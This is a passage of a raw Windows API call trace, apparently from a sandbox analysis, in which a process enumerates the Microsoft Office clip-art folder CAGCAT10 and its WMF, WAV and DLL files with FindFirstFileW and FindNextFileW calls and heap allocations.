0x65bc48 [0286.486] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2fff148 | out: lpFindFileData=0x2fff148*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef015d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0286.486] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2fff148 | out: lpFindFileData=0x2fff148*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xbd6dc020, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbd6dc020, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CAGCAT10", cAlternateFileName="")) returned 1 [0286.486] GetProcessHeap () returned 0x560000 [0286.487] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2beeeb8 [0286.487] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*", lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xbd6dc020, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbd6dc020, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bdc8 [0286.510] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xbd6dc020, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbd6dc020, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0286.522] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeec79e70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeec79e70, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0286.522] GetProcessHeap () returned 0x560000 [0286.522] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2b888a8 [0286.547] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033\\*", lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeec79e70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeec79e70, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bbc8 [0286.548] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeec79e70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeec79e70, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0286.548] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11d8d700, ftCreationTime.dwHighDateTime=0x1c07b1f, ftLastAccessTime.dwLowDateTime=0xeec79e70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x11d8d700, ftLastWriteTime.dwHighDateTime=0x1c07b1f, nFileSizeHigh=0x0, nFileSizeLow=0x4c450, dwReserved0=0x0, dwReserved1=0x0, cFileName="CAGCAT10.MML", cAlternateFileName="")) returned 1 [0286.548] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11d8d700, ftCreationTime.dwHighDateTime=0x1c07b1f, ftLastAccessTime.dwLowDateTime=0xeec79e70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x11d8d700, ftLastWriteTime.dwHighDateTime=0x1c07b1f, nFileSizeHigh=0x0, nFileSizeLow=0x4c450, dwReserved0=0x0, dwReserved1=0x0, cFileName="CAGCAT10.MML", cAlternateFileName="")) returned 0 [0286.548] FindClose (in: hFindFile=0x65bbc8 | out: hFindFile=0x65bbc8) returned 1 [0286.549] GetProcessHeap () returned 0x560000 [0286.549] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2b888a8 | out: hHeap=0x560000) returned 1 [0286.565] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2162900, ftCreationTime.dwHighDateTime=0x1ca9120, ftLastAccessTime.dwLowDateTime=0x51b925d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf2162900, ftLastWriteTime.dwHighDateTime=0x1ca9120, nFileSizeHigh=0x0, nFileSizeLow=0x3da0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CAGCAT10.DLL", cAlternateFileName="")) returned 1 [0286.565] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x130a0400, ftCreationTime.dwHighDateTime=0x1c07b1f, ftLastAccessTime.dwLowDateTime=0x60120f70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x130a0400, ftLastWriteTime.dwHighDateTime=0x1c07b1f, nFileSizeHigh=0x0, nFileSizeLow=0x603d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="CAGCAT10.MMW", cAlternateFileName="")) returned 1 [0286.566] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11ec5600, ftCreationTime.dwHighDateTime=0x1bd4c14, ftLastAccessTime.dwLowDateTime=0xbd180ea0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x11ec5600, ftLastWriteTime.dwHighDateTime=0x1bd4c14, nFileSizeHigh=0x0, nFileSizeLow=0x585a, dwReserved0=0x0, dwReserved1=0x0, cFileName="ELPHRG01.WAV", cAlternateFileName="")) returned 1 [0286.566] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x63c1b400, ftCreationTime.dwHighDateTime=0x1bd216e, ftLastAccessTime.dwLowDateTime=0xbd3e24a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x63c1b400, ftLastWriteTime.dwHighDateTime=0x1bd216e, nFileSizeHigh=0x0, nFileSizeLow=0x3602, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0088542.WMF", cAlternateFileName="")) returned 1 [0286.566] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x68ad6a00, ftCreationTime.dwHighDateTime=0x1bcf887, ftLastAccessTime.dwLowDateTime=0xbd3e24a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x68ad6a00, ftLastWriteTime.dwHighDateTime=0x1bcf887, nFileSizeHigh=0x0, nFileSizeLow=0x8880, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0090070.WMF", cAlternateFileName="")) returned 1 [0286.566] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x59c88400, ftCreationTime.dwHighDateTime=0x1bd208e, ftLastAccessTime.dwLowDateTime=0xbd3e24a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x59c88400, ftLastWriteTime.dwHighDateTime=0x1bd208e, nFileSizeHigh=0x0, nFileSizeLow=0x830a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0090386.WMF", cAlternateFileName="")) returned 1 [0286.566] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e332700, ftCreationTime.dwHighDateTime=0x1bd3d86, ftLastAccessTime.dwLowDateTime=0xbd4548c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x6e332700, ftLastWriteTime.dwHighDateTime=0x1bd3d86, nFileSizeHigh=0x0, nFileSizeLow=0x870a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0149407.WMF", cAlternateFileName="")) returned 1 [0286.566] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4fd5900, ftCreationTime.dwHighDateTime=0x1bd4249, ftLastAccessTime.dwLowDateTime=0xbd4548c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x4fd5900, ftLastWriteTime.dwHighDateTime=0x1bd4249, nFileSizeHigh=0x0, nFileSizeLow=0x5eda, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0149481.WMF", cAlternateFileName="")) returned 1 [0286.567] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3fe3f700, ftCreationTime.dwHighDateTime=0x1bd5067, ftLastAccessTime.dwLowDateTime=0xbd4548c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x3fe3f700, ftLastWriteTime.dwHighDateTime=0x1bd5067, nFileSizeHigh=0x0, nFileSizeLow=0xa80a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0149627.WMF", cAlternateFileName="")) returned 1 [0286.567] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9dd2e700, ftCreationTime.dwHighDateTime=0x1bd6439, ftLastAccessTime.dwLowDateTime=0xbd4548c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x9dd2e700, ftLastWriteTime.dwHighDateTime=0x1bd6439, nFileSizeHigh=0x0, nFileSizeLow=0x1ffa, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0149887.WMF", cAlternateFileName="")) returned 1 [0286.567] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3fc87200, ftCreationTime.dwHighDateTime=0x1bd7ec5, ftLastAccessTime.dwLowDateTime=0xbd4548c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x3fc87200, ftLastWriteTime.dwHighDateTime=0x1bd7ec5, nFileSizeHigh=0x0, nFileSizeLow=0x2068, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0157763.WMF", cAlternateFileName="")) returned 1 [0286.567] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaeffa900, ftCreationTime.dwHighDateTime=0x1bd94f9, ftLastAccessTime.dwLowDateTime=0xbd4548c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xaeffa900, ftLastWriteTime.dwHighDateTime=0x1bd94f9, nFileSizeHigh=0x0, nFileSizeLow=0x1d94, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0157995.WMF", cAlternateFileName="")) returned 1 [0286.567] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9ba3e00, ftCreationTime.dwHighDateTime=0x1bd94f9, ftLastAccessTime.dwLowDateTime=0xbd47aa20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xb9ba3e00, ftLastWriteTime.dwHighDateTime=0x1bd94f9, nFileSizeHigh=0x0, nFileSizeLow=0x1426, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0158007.WMF", cAlternateFileName="")) returned 1 [0286.568] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf00c800, ftCreationTime.dwHighDateTime=0x1bdf6f6, ftLastAccessTime.dwLowDateTime=0xbd47aa20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xdf00c800, ftLastWriteTime.dwHighDateTime=0x1bdf6f6, nFileSizeHigh=0x0, nFileSizeLow=0x4d38, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0183168.WMF", cAlternateFileName="")) returned 1 [0286.568] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9d86900, ftCreationTime.dwHighDateTime=0x1bdf6f7, ftLastAccessTime.dwLowDateTime=0xbd47aa20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xc9d86900, ftLastWriteTime.dwHighDateTime=0x1bdf6f7, nFileSizeHigh=0x0, nFileSizeLow=0x7018, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0183290.WMF", cAlternateFileName="")) returned 1 [0286.568] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf8564400, ftCreationTime.dwHighDateTime=0x1bdf6f7, ftLastAccessTime.dwLowDateTime=0xbd47aa20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xf8564400, ftLastWriteTime.dwHighDateTime=0x1bdf6f7, nFileSizeHigh=0x0, nFileSizeLow=0x14fa, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0183328.WMF", cAlternateFileName="")) returned 1 [0286.568] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf396a700, ftCreationTime.dwHighDateTime=0x1be0d1a, ftLastAccessTime.dwLowDateTime=0xbd47aa20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xf396a700, ftLastWriteTime.dwHighDateTime=0x1be0d1a, nFileSizeHigh=0x0, nFileSizeLow=0x171c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0185604.WMF", cAlternateFileName="")) returned 1 [0286.568] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdc0fec00, ftCreationTime.dwHighDateTime=0x1be0d23, ftLastAccessTime.dwLowDateTime=0xbd47aa20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xdc0fec00, ftLastWriteTime.dwHighDateTime=0x1be0d23, nFileSizeHigh=0x0, nFileSizeLow=0x2f64, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0186002.WMF", cAlternateFileName="")) returned 1 [0286.569] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb426a00, ftCreationTime.dwHighDateTime=0x1be0d22, ftLastAccessTime.dwLowDateTime=0xbd47aa20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xeb426a00, ftLastWriteTime.dwHighDateTime=0x1be0d22, nFileSizeHigh=0x0, nFileSizeLow=0x1b3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0186348.WMF", cAlternateFileName="")) returned 1 [0286.569] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b608300, ftCreationTime.dwHighDateTime=0x1be10fe, ftLastAccessTime.dwLowDateTime=0xbd4a0b80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x1b608300, ftLastWriteTime.dwHighDateTime=0x1be10fe, nFileSizeHigh=0x0, nFileSizeLow=0x4746, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0187423.WMF", cAlternateFileName="")) returned 1 [0286.569] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc36d6a00, ftCreationTime.dwHighDateTime=0x1be2705, ftLastAccessTime.dwLowDateTime=0xbd4a0b80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xc36d6a00, ftLastWriteTime.dwHighDateTime=0x1be2705, nFileSizeHigh=0x0, nFileSizeLow=0x31da, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0195384.WMF", cAlternateFileName="")) returned 1 [0286.569] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa438000, ftCreationTime.dwHighDateTime=0x1be2705, ftLastAccessTime.dwLowDateTime=0xbd4a0b80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xfa438000, ftLastWriteTime.dwHighDateTime=0x1be2705, nFileSizeHigh=0x0, nFileSizeLow=0x275c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0195534.WMF", cAlternateFileName="")) returned 1 [0286.569] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x455d9300, ftCreationTime.dwHighDateTime=0x1be2706, ftLastAccessTime.dwLowDateTime=0xbd4a0b80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x455d9300, ftLastWriteTime.dwHighDateTime=0x1be2706, nFileSizeHigh=0x0, nFileSizeLow=0xfca, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0195812.WMF", cAlternateFileName="")) returned 1 [0286.570] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9ec5c200, ftCreationTime.dwHighDateTime=0x1be2706, ftLastAccessTime.dwLowDateTime=0xbd4a0b80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x9ec5c200, ftLastWriteTime.dwHighDateTime=0x1be2706, nFileSizeHigh=0x0, nFileSizeLow=0x7b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0196164.WMF", cAlternateFileName="")) returned 1 [0286.570] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81ec6b00, ftCreationTime.dwHighDateTime=0x1be390f, ftLastAccessTime.dwLowDateTime=0xbd4a0b80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x81ec6b00, ftLastWriteTime.dwHighDateTime=0x1be390f, nFileSizeHigh=0x0, nFileSizeLow=0x1216, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0196374.WMF", cAlternateFileName="")) returned 1 [0286.570] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x929ce100, ftCreationTime.dwHighDateTime=0x1be390f, ftLastAccessTime.dwLowDateTime=0xbd4c6ce0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x929ce100, ftLastWriteTime.dwHighDateTime=0x1be390f, nFileSizeHigh=0x0, nFileSizeLow=0x8cbe, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0196400.WMF", cAlternateFileName="")) returned 1 [0286.570] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91fc00, ftCreationTime.dwHighDateTime=0x1bdf0c6, ftLastAccessTime.dwLowDateTime=0xbd4c6ce0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x91fc00, ftLastWriteTime.dwHighDateTime=0x1bdf0c6, nFileSizeHigh=0x0, nFileSizeLow=0x2518, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0199036.WMF", cAlternateFileName="")) returned 1 [0286.570] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xebd55500, ftCreationTime.dwHighDateTime=0x1be05ec, ftLastAccessTime.dwLowDateTime=0xbd4c6ce0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xebd55500, ftLastWriteTime.dwHighDateTime=0x1be05ec, nFileSizeHigh=0x0, nFileSizeLow=0x8ec4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0199283.WMF", cAlternateFileName="")) returned 1 [0286.571] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54b53500, ftCreationTime.dwHighDateTime=0x1be3e9a, ftLastAccessTime.dwLowDateTime=0xbd4c6ce0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x54b53500, ftLastWriteTime.dwHighDateTime=0x1be3e9a, nFileSizeHigh=0x0, nFileSizeLow=0xf5e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0199549.WMF", cAlternateFileName="")) returned 1 [0286.571] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b8b4b00, ftCreationTime.dwHighDateTime=0x1be3e9a, ftLastAccessTime.dwLowDateTime=0xbd4c6ce0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x8b8b4b00, ftLastWriteTime.dwHighDateTime=0x1be3e9a, nFileSizeHigh=0x0, nFileSizeLow=0x341e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0199661.WMF", cAlternateFileName="")) returned 1 [0286.571] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb1b0eb00, ftCreationTime.dwHighDateTime=0x1be3e9a, ftLastAccessTime.dwLowDateTime=0xbd4c6ce0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xb1b0eb00, ftLastWriteTime.dwHighDateTime=0x1be3e9a, nFileSizeHigh=0x0, nFileSizeLow=0x900, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0199727.WMF", cAlternateFileName="")) returned 1 [0286.571] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc6b8000, ftCreationTime.dwHighDateTime=0x1be3e9a, ftLastAccessTime.dwLowDateTime=0xbd4c6ce0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbc6b8000, ftLastWriteTime.dwHighDateTime=0x1be3e9a, nFileSizeHigh=0x0, nFileSizeLow=0xaf0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0199755.WMF", cAlternateFileName="")) returned 1 [0286.572] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd311d700, ftCreationTime.dwHighDateTime=0x1be3e9a, ftLastAccessTime.dwLowDateTime=0xbd4ece40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xd311d700, ftLastWriteTime.dwHighDateTime=0x1be3e9a, nFileSizeHigh=0x0, nFileSizeLow=0x948, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0199805.WMF", cAlternateFileName="")) returned 1 [0286.778] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85ccab00, ftCreationTime.dwHighDateTime=0x1be4d5e, ftLastAccessTime.dwLowDateTime=0xbd4ece40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x85ccab00, ftLastWriteTime.dwHighDateTime=0x1be4d5e, nFileSizeHigh=0x0, nFileSizeLow=0x2398, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0205462.WMF", cAlternateFileName="")) returned 1 [0286.779] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89603200, ftCreationTime.dwHighDateTime=0x1be4d5e, ftLastAccessTime.dwLowDateTime=0xbd4ece40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x89603200, ftLastWriteTime.dwHighDateTime=0x1be4d5e, nFileSizeHigh=0x0, nFileSizeLow=0x11e2, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0205466.WMF", cAlternateFileName="")) returned 1 [0286.779] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x14d9c300, ftCreationTime.dwHighDateTime=0x1be4d5f, ftLastAccessTime.dwLowDateTime=0xbd4ece40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x14d9c300, ftLastWriteTime.dwHighDateTime=0x1be4d5f, nFileSizeHigh=0x0, nFileSizeLow=0x17f2, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0205582.WMF", cAlternateFileName="")) returned 1 [0286.779] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e240a00, ftCreationTime.dwHighDateTime=0x1be560f, ftLastAccessTime.dwLowDateTime=0xbd4ece40, ftLastAccessTime.dwHighDateTime=0x1d305f1, 